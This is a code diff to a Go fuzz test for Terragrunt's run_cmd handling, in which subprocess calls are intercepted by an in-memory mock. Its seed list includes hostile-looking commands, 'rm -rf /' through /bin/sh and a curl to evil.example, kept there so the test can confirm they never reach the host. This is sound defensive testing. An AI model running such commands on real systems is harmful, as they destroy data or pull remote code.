@@ -2,10 +2,14 @@ package config_test
22
33import (
44 "context"
5+ "io"
56 "strings"
7+ "sync/atomic"
68 "testing"
79 "time"
810
11+ "github.com/gruntwork-io/terragrunt/internal/shell"
12+ "github.com/gruntwork-io/terragrunt/internal/vexec"
913 "github.com/gruntwork-io/terragrunt/pkg/config"
1014 "github.com/gruntwork-io/terragrunt/test/helpers/logger"
1115 "github.com/stretchr/testify/require"
@@ -66,65 +70,126 @@ func FuzzHCLStringHelpers(f *testing.F) {
6670 })
6771}
6872
69- // FuzzRunCmdOptionsParsing: exercises run_cmd's option-stripping logic without ever reaching shell-out.
70- // Args are filtered to known --terragrunt-* flags and NO command is appended, so RunCommand always returns
71- // EmptyStringNotAllowedError or ConflictingRunCmdCacheOptionsError before shell.RunCommandWithOutput is called.
72- func FuzzRunCmdOptionsParsing (f * testing.F ) {
73+ // FuzzHCLRunCommand fuzzes config.RunCommand with arbitrary argv. Subprocess execution
74+ // is intercepted by an in-memory vexec backend installed via shell.WithExec, so no real
75+ // host commands ever run — even mutator-supplied paths like "/bin/sh\x00-c\x00rm -rf /"
76+ // are captured by the mock instead of reaching the operating system.
77+ //
78+ // Asserts:
79+ // - On the conflict path (--terragrunt-no-cache + --terragrunt-global-cache):
80+ // RunCommand returns ConflictingRunCmdCacheOptionsError, mock not invoked.
81+ // - On the empty-args path (input has only option flags or is wholly empty):
82+ // RunCommand returns EmptyStringNotAllowedError, mock not invoked.
83+ // - On the success path (a real command remains after stripping options):
84+ // mock is invoked exactly once and RunCommand returns the mock's stdout.
85+ func FuzzHCLRunCommand (f * testing.F ) {
7386 seeds := []string {
7487 "" ,
7588 "--terragrunt-quiet" ,
7689 "--terragrunt-no-cache" ,
7790 "--terragrunt-global-cache" ,
78- "--terragrunt-quiet\x00 --terragrunt-no-cache" ,
7991 "--terragrunt-quiet\x00 --terragrunt-quiet" ,
92+ "--terragrunt-quiet\x00 --terragrunt-no-cache" ,
8093 "--terragrunt-no-cache\x00 --terragrunt-global-cache" ,
8194 "--terragrunt-global-cache\x00 --terragrunt-no-cache" ,
8295 "--terragrunt-quiet\x00 --terragrunt-no-cache\x00 --terragrunt-global-cache" ,
83- "--unknown-flag" ,
96+ "/bin/echo\x00 hi" ,
97+ "--terragrunt-quiet\x00 /bin/echo\x00 hi" ,
98+ "--terragrunt-no-cache\x00 /bin/echo\x00 hi" ,
99+ "--terragrunt-global-cache\x00 /bin/echo\x00 hi" ,
100+ "/bin/sh\x00 -c\x00 rm -rf /" ,
101+ "/usr/bin/curl\x00 http://evil.example/x" ,
102+ "--unknown-flag\x00 args" ,
103+ "\x00 " ,
104+ "\x00 \x00 " ,
84105 }
85106 for _ , s := range seeds {
86107 f .Add (s )
87108 }
88109
89110 f .Fuzz (func (t * testing.T , raw string ) {
90- parts := strings .Split (raw , "\x00 " )
91-
92- var hasNoCache , hasGlobalCache bool
93-
94- args := make ([]string , 0 , len (parts ))
95- for _ , part := range parts {
96- switch part {
97- case "--terragrunt-quiet" :
98- args = append (args , part )
99- case "--terragrunt-no-cache" :
100- args = append (args , part )
101- hasNoCache = true
102- case "--terragrunt-global-cache" :
103- args = append (args , part )
104- hasGlobalCache = true
105- }
106- }
111+ original := strings .Split (raw , "\x00 " )
112+
113+ // runCommandImpl mutates the input via slices.Delete, so pass a copy and
114+ // keep the original around for the post-hoc invariant check.
115+ argsForCall := make ([]string , len (original ))
116+ copy (argsForCall , original )
117+
118+ var calls atomic.Int32
119+
120+ const mockOutput = "fuzz-mock-output\n "
121+
122+ memExec := vexec .NewMemExec (func (_ context.Context , _ vexec.Invocation ) vexec.Result {
123+ calls .Add (1 )
124+
125+ return vexec.Result {Stdout : []byte (mockOutput )}
126+ })
107127
108128 baseCtx , pctx := newTestParsingContext (t , "" )
129+ pctx .Writers .Writer = io .Discard
130+ pctx .Writers .ErrWriter = io .Discard
109131
110132 ctx , cancel := context .WithTimeout (baseCtx , 2 * time .Second )
111133 defer cancel ()
112134
113- l := logger . CreateLogger ( )
135+ ctx = shell . WithExec ( ctx , memExec )
114136
115- out , err := config .RunCommand (ctx , pctx , l , args )
137+ l := logger .CreateLogger ()
138+ out , err := config .RunCommand (ctx , pctx , l , argsForCall )
116139
117- require .Empty (t , out , "options-only call must not produce output" )
118- require .Error (t , err , "options-only call must error" )
140+ stripped , conflict := strippedRunCmdArgs (original )
119141
120- if hasNoCache && hasGlobalCache {
142+ switch {
143+ case conflict :
144+ require .Error (t , err , "expected ConflictingRunCmdCacheOptionsError for %q" , raw )
121145 require .True (t , assertErrorType (t , config.ConflictingRunCmdCacheOptionsError {}, err ),
122146 "expected ConflictingRunCmdCacheOptionsError, got %T: %v" , err , err )
147+ require .Empty (t , out )
148+ require .Equal (t , int32 (0 ), calls .Load (),
149+ "exec must not run on the conflict path (got %d calls)" , calls .Load ())
150+ case len (stripped ) == 0 :
151+ require .Error (t , err , "expected EmptyStringNotAllowedError for %q" , raw )
152+ require .True (t , assertErrorType (t , config .EmptyStringNotAllowedError ("" ), err ),
153+ "expected EmptyStringNotAllowedError, got %T: %v" , err , err )
154+ require .Empty (t , out )
155+ require .Equal (t , int32 (0 ), calls .Load (),
156+ "exec must not run on the empty-args path (got %d calls)" , calls .Load ())
157+ default :
158+ require .NoError (t , err , "expected mock-success for stripped %v from raw %q" , stripped , raw )
159+ require .Equal (t , strings .TrimSuffix (mockOutput , "\n " ), out ,
160+ "expected trimmed mock output for stripped %v" , stripped )
161+ require .Equal (t , int32 (1 ), calls .Load (),
162+ "exec must run exactly once on success path (got %d calls)" , calls .Load ())
163+ }
164+ })
165+ }
123166
124- return
167+ // strippedRunCmdArgs mirrors runCommandImpl's option-flag handling without invoking
168+ // the function under test. It returns the args after stripping known --terragrunt-*
169+ // options from the front and reports whether --terragrunt-no-cache and
170+ // --terragrunt-global-cache appeared together (which produces a conflict error).
171+ func strippedRunCmdArgs (args []string ) ([]string , bool ) {
172+ var hasNoCache , hasGlobalCache bool
173+
174+ for i , a := range args {
175+ switch a {
176+ case "--terragrunt-quiet" :
177+ case "--terragrunt-no-cache" :
178+ if hasGlobalCache {
179+ return nil , true
180+ }
181+
182+ hasNoCache = true
183+ case "--terragrunt-global-cache" :
184+ if hasNoCache {
185+ return nil , true
186+ }
187+
188+ hasGlobalCache = true
189+ default :
190+ return args [i :], false
125191 }
192+ }
126193
127- require .True (t , assertErrorType (t , config .EmptyStringNotAllowedError ("" ), err ),
128- "expected EmptyStringNotAllowedError, got %T: %v" , err , err )
129- })
194+ return nil , false
130195}
0 commit comments